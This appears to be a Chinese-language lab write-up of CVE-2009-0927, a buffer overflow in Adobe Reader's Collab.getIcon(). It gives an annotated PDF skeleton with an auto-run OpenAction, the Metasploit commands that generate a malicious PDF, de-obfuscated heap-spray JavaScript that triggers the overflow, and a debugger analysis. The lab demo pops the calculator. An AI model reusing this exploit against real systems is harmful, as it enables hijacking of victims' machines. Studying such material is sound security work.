CVE-2009-0927:PDF中的JS

[toc]

CVE-2009-0927 简介

Adobe Reader 是非常流行的 PDF 文件阅读器,在其 Collab 对象的 getIcon() 函数中存在一个缓冲区溢出漏洞。同时由于 PDF 文档中支持内嵌的 JavaScript,攻击者可以通过在 PDF 文档中植入恶意的 JavaScript 来向 getIcon()函数传递特制的参数以触发溢出漏洞, 并结合 Heap Spray 攻击来夺取计算机的控制权。

Heap Spray:通过申请大量空间,来让程序命中,从而执行 shellcode

PDF 文档格式简介

PDF 文档是一种文本和二进制混排的格式,它由四部分构成。

  • header:头部,标识 PDF 文档的版本。
  • body:主体,包含 PDF 文档的主体内容,各部分以对象方式呈现。
  • cross-reference:交叉引用表,通过交叉引用表可以快速的找到 PDF 文档中的各对象。
  • trailer:尾部,包含交叉引用的摘要和交叉引用表的起始位置。

请新建一个 PDF 文档,用普通文本编辑器打开,参阅下边的格式注释来理解文件格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
%PDF-1.1 //头部,说明次 PDF 文档符合 PDF1.1 规范

1 0 obj
<<
/Type /Catalog //说明这个 obj 是 Catalog 对象
/Outlines 2 0 R //第二个 obj 是 Outlines
/Pages 3 0 R //第三个 obj 是 Pages
/OpenAction 7 0 R //第七个 obj 是 OpenAction,听这个名字大家也应该能感觉到有点料,文件打开时会执行它里边的脚本
>>
endobj

2 0 obj
<<
/Type /Outlines
/Count 0 //0 表示没有书签
>>
endobj

3 0 obj
<<
/Type /Pages
/Kids [4 0 R] //说明它的孩子、页的对象号为 4
/Count 1 //说明页码数量为 1
>>
endobj

4 0 obj
<<
/Type /Page
/Parent 3 0 R //其父对象的对象号为 3
/MediaBox [0 0 612 792] //页面的显示大小,以象素为单位
/Contents 5 0 R //内容对象的对象号为 5
/Resources << //说明该页所要包含的资源,包括字体和内容的类型
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj

5 0 obj
<< /Length 98 >> //stream 对象为字节数,从 BT 开始, ET 结束,包括中间的行结束符
stream //流对象开始
BT /F1 12 Tf 100 700 Td 15 TL (Open File Error! Maybe the file is damaged! //文本位置和内容
) Tj ET
endstream //流对象结束
endobj

6 0 obj
<<
/Type /Font //字体对象
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj

7 0 obj
<<
/Type /Action
/S /JavaScript
/JS ( //可以放置 JavaScript 脚本,关键部分噢

)
>>
endobj

xref //交叉引用表
0 8 //说明下面的描述是从 0 号对象开始,数量为 8
0000000000 65535 f //一般每个 PDF 文件都是以这一行开始交叉应用表的,说明对象 0 的起始地址为 0000000000,产生号(generation number)为 65535,也是最大产生号,不可以再进行更改,而且最后对象的表示是 f, 表明该对象为 free
0000000010 00000 n //表示对象 1, 也就是 catalog 对象了,0000000009 是其偏移地址,00000 为 5 位产生号,全 0 表明该对象未被修改过, n 表示该对象在使用。
0000000098 00000 n
0000000147 00000 n
0000000208 00000 n
0000000400 00000 n
0000000549 00000 n
0000000663 00000 n

trailer //尾部
<<
/Size 8 //该 PDF 对象数
/Root 1 0 R //根对象的对象号为 1
>>
startxref
1946 //交叉引用表的偏移地址
%%EOF //文件结束标志

漏洞原理及利用分析

实验环境

推荐使用的环境备 注
操作系统Windows XP SP3建议在虚拟机 VMware 7.0 中运行
Adobe Reader 版本9.0 中文版

漏洞分析

PDF 文件一旦被打开就会执行 OpenAction 对象里的脚本,所以只要在 OpenAction 对象中精心构造 JS 脚本,就能实现对 Adobe Reader 的攻击。

首先在 kali 中用 msf 生成样本,具体如下

1
2
3
4
5
6
7
8
9
10
11
> msf5 > search cve-2009-0927

> exploit/windows/browser/adobe_geticon 2009-03-24 good No Adobe Collab.getIcon() Buffer Overflow
> exploit/windows/fileformat/adobe_geticon 2009-03-24 good No Adobe Collab.getIcon() Buffer Overflow

> msf5 > use exploit/windows/fileformat/adobe_geticon
> msf5 exploit(windows/fileformat/adobe_geticon) > set payload windows/exec
> payload => windows/exec
> msf5 exploit(windows/fileformat/adobe_geticon) > set cmd calc.exe
> cmd => calc.exe
> msf5 exploit(windows/fileformat/adobe_geticon) > run

生成样本以后,运行一下成功弹出计算器,之后我们用PDFStreamDump打开,在对象5处可以看到样本中包含的payload,dump下来之后,发现payload中的js用了超长变量名,不利于阅读代码,把变量名替换以后,得到如下可读代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
var shellcode = unescape("%u4096%ud6f9%u9147%ufd98%ufd9b%uf840%u9047......");
var nopblock = "";

# 布置堆的内容
for (i = 128; i >= 0; --i)
{
nopblock += unescape("%u9090%u9090");
}

buff = nopblock + shellcode;
nop = unescape("%u9090%u9090");
headersize = 20;
acl = headersize + buff.length;

while (nop.length < acl)
{
nop += nop;
}

fillblock = nop.substring(0, acl);
block = nop.substring(0, nop.length - acl);

while (block.length + acl < 0x40000)
{
block = block + block + fillblock;
}

memory = new Array();
for (j = 0; j < 1450; j++)
{
memory[j] = block + buff;
}


# 用0x0a0a0a0a占领SEH

var ret_addr = unescape("%0a");
while (ret_addr.length < 0x4000)
{
ret_addr += ret_addr;
}

ret_addr = "N." + ret_addr; //注意这里的 N.
Collab.getIcon(ret_addr);

首先用 OllyDbg 加载 Adobe Reader,待其启动完成后通过 Adobe Reader 的菜单打开 POC 文档, OllyDbg 会因为一个写入异常而中断。

image-20220721154949364

从上图中可以看到,程序在向 0x00130000 位置写入数据时发生异常,因为 0x00130000 这个地址已经超出程序的栈空间范围,一般是由于复制了超长字符串所致。

同时栈顶的 strncpy 也印证了我们的猜想,问题可能出现在这里,不妨进入 0x2210FE4E 区域看看。

image-20220721161909784

发现在 0x2210FE25 处的 call edi 指令调用了 strncpy 函数,着应该就是溢出根源了。但是 strncpy 函数限制了复制字符串长度,为什么还会溢出呢?继续向上看,原来上面将源字符串长度作为了复制字符串长度,这就相当于执行了 strcpy,当源字符串长度大于目标缓冲区长度时就会发生溢出。

利用分析

漏洞原理清楚后,我们就要考虑如何利用这个漏洞了,这里我们可以选择覆盖函数的返回地址或者覆盖程序的异常处理函数指针,我们选择后者。

image-20220721163130184

回顾一下 exploit 的思路:通过 Heap Spray 技术占领内存中的 0x0C0C0C0C 位置,然后再向 getIcon()函数传递超长字符串来覆盖程序的异常处理函数指针;同时这个超长字符串还有一个使命就是触发异常——当这个字符串足够长的时候(超出当前堆栈范围)就会触发写入异常,程序因此转入已被篡改了的异常处理函数,最终执行 shellcode。

最后,计算器也弹了出来:

image-20220721163229851